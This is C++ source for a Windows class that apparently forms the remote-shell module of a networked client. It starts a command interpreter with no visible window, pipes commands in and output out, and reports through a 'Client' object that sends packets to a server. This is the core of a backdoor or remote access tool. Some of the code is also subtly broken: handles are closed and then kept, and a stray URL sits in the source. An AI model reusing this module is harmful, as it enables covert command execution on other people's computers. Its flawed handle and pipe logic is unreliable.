//CMD.h
class CMD
{
public:
CMD(std::string path);
~CMD();
public:
std::string readCMD();
void writeCMD(std::string command);
private:
void createChildProcess(std::string path);
public:
static CMD * cmdptr;
static bool cmdOpen;
private:
HANDLE g_hChildStd_IN_Rd = NULL;
HANDLE g_hChildStd_IN_Wr = NULL;
HANDLE g_hChildStd_OUT_Rd = NULL;
HANDLE g_hChildStd_OUT_Wr = NULL;
static HANDLE g_hChildProcess;
static HANDLE g_hChildThread;
SECURITY_ATTRIBUTES saAttr;
};
//CMD.cpp
#include "CMD.h"
https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx
CMD* CMD::cmdptr = NULL;
bool CMD::cmdOpen = false;
HANDLE CMD::g_hChildProcess = NULL;
HANDLE CMD::g_hChildThread = NULL;
CMD::CMD(std::string path)
{
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0))
General::handleError(3, false);
if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0))
General::handleError(3, false);
if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0))
General::handleError(3, false);
if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) //关键:参考微软文档,重定向流要去
//掉流的继承
General::handleError(3, false);
createChildProcess(path);
cmdptr = this;
}
CMD::~CMD()
{
}
std::string CMD::readCMD()
{
if (cmdOpen)
{
DWORD bytesAvailable = 0;
DWORD bytesRead = 0;
int intBytesAvailable = 0;
char buffer[128] = "";
std::string output;
do
{
PeekNamedPipe(g_hChildStd_OUT_Rd, NULL, 0, NULL, &bytesAvailable, NULL);
Sleep(50);
} while (bytesAvailable <= 0);
intBytesAvailable = bytesAvailable;
while (intBytesAvailable > 0)
{
ReadFile(g_hChildStd_OUT_Rd, buffer, 127, &bytesRead, NULL);
buffer[127] = '\0';
output += buffer;
intBytesAvailable -= bytesRead;
if (intBytesAvailable <= 0)
intBytesAvailable = 0;
ZeroMemory(buffer, 128);
}
return output;
}
else
return "CMD is not open";
}
void CMD::writeCMD(std::string command)
{
if (cmdOpen)
{
command += '\n';
if (!WriteFile(g_hChildStd_IN_Wr, command.c_str(), command.size(), NULL, NULL))
Client::clientptr->SendString("Couldn't write command '" + command + "' to stdIn.", PacketType::Warning);
}
else
Client::clientptr->SendString("Couldn't write to CMD: CMD not open", PacketType::Warning);
}
void CMD::createChildProcess(std::string path)
{
PROCESS_INFORMATION piProcInfo;
STARTUPINFO siStartInfo;
BOOL bSuccess = FALSE;
ZeroMemory(&piProcInfo, sizeof(PROCESS_INFORMATION));
ZeroMemory(&siStartInfo, sizeof(STARTUPINFO));
siStartInfo.cb = sizeof(STARTUPINFO);
siStartInfo.hStdError = g_hChildStd_OUT_Wr;
siStartInfo.hStdOutput = g_hChildStd_OUT_Wr;
siStartInfo.hStdInput = g_hChildStd_IN_Rd;
siStartInfo.dwFlags |= STARTF_USESTDHANDLES;
// Create the child process.
bSuccess = CreateProcess(path.c_str(), NULL, NULL,
NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &siStartInfo, &piProcInfo);
if (!bSuccess)
General::handleError(3, false);
else
{
CloseHandle(piProcInfo.hProcess);
CloseHandle(piProcInfo.hThread);
}
g_hChildProcess = piProcInfo.hProcess;
g_hChildThread = piProcInfo.hThread;
}